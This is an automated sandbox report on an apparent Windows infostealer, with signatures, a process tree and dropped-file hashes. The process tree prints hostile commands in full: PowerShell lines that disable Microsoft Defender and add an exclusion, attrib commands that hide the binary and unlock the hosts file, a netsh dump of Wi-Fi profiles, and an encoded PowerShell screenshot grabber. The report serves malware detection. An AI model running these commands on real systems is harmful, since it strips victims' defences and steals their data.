Overview

overview

8

Static

static

3

cryptolaemus

windows10-2004-x64

8

cryptolaemus

windows11-21h2-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    96s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/06/2024, 13:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5.exe

  • Size

    11.8MB

  • MD5

    44d806942d0bbc5f4302867243b66a18

  • SHA1

    4405cd3f84680d4888ef7f9fb0a651c82b3573b9

  • SHA256

    758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5

  • SHA512

    661aeb2b1037c1ef446056f8f71a0d4f2eba8702072b931c87604ac58f408d93c1fcb2cc04b1fceb312318361b3c88e3e94c8ab0e318e4e8a669f81950a5c6f9

  • SSDEEP

    98304:5pmhaWByjQAidj9ZMDvcpOnUxBEtg71fnhfagct8zaqz/8:5d+yjQLKvcpPxCa1VT8

Score
8/10
executionpersistencespywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5.exe
    "C:\Users\Admin\AppData\Local\Temp\758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4036
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5.exe
      2⤵
      • Views/modifies file attributes
      PID:3872
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2212
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:240
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:1504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2892
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:2784
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:688
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:576
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3768
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3396
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
              PID:4844
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1156
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:2364
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2c5bufot\2c5bufot.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5116
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5302.tmp" "c:\Users\Admin\AppData\Local\Temp\2c5bufot\CSCDF5F2315B61940FFB38BA89AB5D4C057.TMP"
                  4⤵
                    PID:436

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              627073ee3ca9676911bee35548eff2b8

              SHA1

              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

              SHA256

              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

              SHA512

              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              1a9fa92a4f2e2ec9e244d43a6a4f8fb9

              SHA1

              9910190edfaccece1dfcc1d92e357772f5dae8f7

              SHA256

              0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

              SHA512

              5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              b0a85f07903eaad4aace8865ff28679f

              SHA1

              caa147464cf2e31bf9b482c3ba3c5c71951566d1

              SHA256

              c85c7915e0bcc6cc3d7dd2f6b9d9e4f9a3cf0ccefa043b1c500facac8428bfd5

              SHA512

              7a650a74a049e71b748f60614723de2b9d2385a0f404606bcb22ae807e22a74c53cf672df9e7a23605dfff37865443a5899eafea323134a818eb59c96e0f94bd

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\2c5bufot\2c5bufot.dll
              Filesize

              4KB

              MD5

              d4d845c942b82fcb3d59acfc826b7eb5

              SHA1

              7ef77520f785ae260df7f42c97d4b5c80cac0a2f

              SHA256

              c6c49423ad05347cedfe98d643c4ee80f5002633f28981d581c5b1a854bc7b76

              SHA512

              a56fb0ee8de829e8eb9642aa084b559e365564e15f837f5935240011ffa75bf03c99f2b0ca9fdb30227458bf3ce89833951aed12062aa199b31095e870ca85a3

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES5302.tmp
              Filesize

              1KB

              MD5

              b4965beedf1e3c412c4d33014dee43e8

              SHA1

              76ef7e11129a7d9c528e32e7a9309a8d42e081c7

              SHA256

              3621f9df67e8f7ebfaac980502349a985a6324838085782c0bf0c0c4a641edb1

              SHA512

              1b0e933c5fb2e0dbb691fb03ba5a6c02210cd196fc61258b0ca22a0c9a8dee40d0367368919a1a749b766316adf8cabaecd956e2e9f53bbb593fdf209a88a489

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2cf3komj.s3p.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\mOBi8pVHYt\Display (1).png
              Filesize

              402KB

              MD5

              5760c32f11f1824dadfd9222ad8d86a9

              SHA1

              050ea8ff51c1e9f4c81219c2415f4d560b17cd94

              SHA256

              a456a175b494df9fdf2de45c394535fb8ea6a13685cf9dadb075de18b4e0806a

              SHA512

              22f547feeabfbd4d9c0dd411833bdfef543cde798b4f7da5ccd1a0e9207332a11653a34ca4f5e2e683e75770a006b3b09202b205debff212a9b2069ad32d300a

              Download Submit

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
              Filesize

              11.8MB

              MD5

              44d806942d0bbc5f4302867243b66a18

              SHA1

              4405cd3f84680d4888ef7f9fb0a651c82b3573b9

              SHA256

              758bb37f86eb52387320b71e3e3de6a0fecd283eaf6c28225d892b57b978f4e5

              SHA512

              661aeb2b1037c1ef446056f8f71a0d4f2eba8702072b931c87604ac58f408d93c1fcb2cc04b1fceb312318361b3c88e3e94c8ab0e318e4e8a669f81950a5c6f9

              Download Submit

            • C:\Windows\System32\drivers\etc\hosts
              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\2c5bufot\2c5bufot.0.cs
              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\2c5bufot\2c5bufot.cmdline
              Filesize

              607B

              MD5

              d915458a784a9293788daf59e7321f36

              SHA1

              b4cb319f8539b74848c9ef5d433e0ea4c992b0a1

              SHA256

              bf86e4abb923860fe53c0cfb68e1306f5f630c77520af183176b39febf291b47

              SHA512

              c25b8fa45b9ede307477eaa529ba62e07025f859bbbddffdc56314939c9a2999057b2fd5675322cd95f31c5b079819051dc56586a15d2ca8b39d627f2785a5c4

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\2c5bufot\CSCDF5F2315B61940FFB38BA89AB5D4C057.TMP
              Filesize

              652B

              MD5

              e95ab5df9fdc63e9f7f2e216e3894347

              SHA1

              ad6c007b1d9152bdbe83e7a6c6fddfce02a2facc

              SHA256

              a6ccced203438aac8ebf4595a8a40917d598b001979eb4c4d78adb2cc56ece7a

              SHA512

              2c94c3c9bf90b33e8496c0540671d17fff233935387005dc4ffe79cb3b64e3048c32c5dc6c71e6dc1cccfed98562a5da568aaa38e83b070b9ce6817b3ae958b3

              Download Submit

            • memory/2364-61-0x00000288F3920000-0x00000288F3928000-memory.dmp

              Filesize

              32KB

              Download

            • memory/2892-3-0x0000026F6AC40000-0x0000026F6AC62000-memory.dmp

              Filesize

              136KB

              Download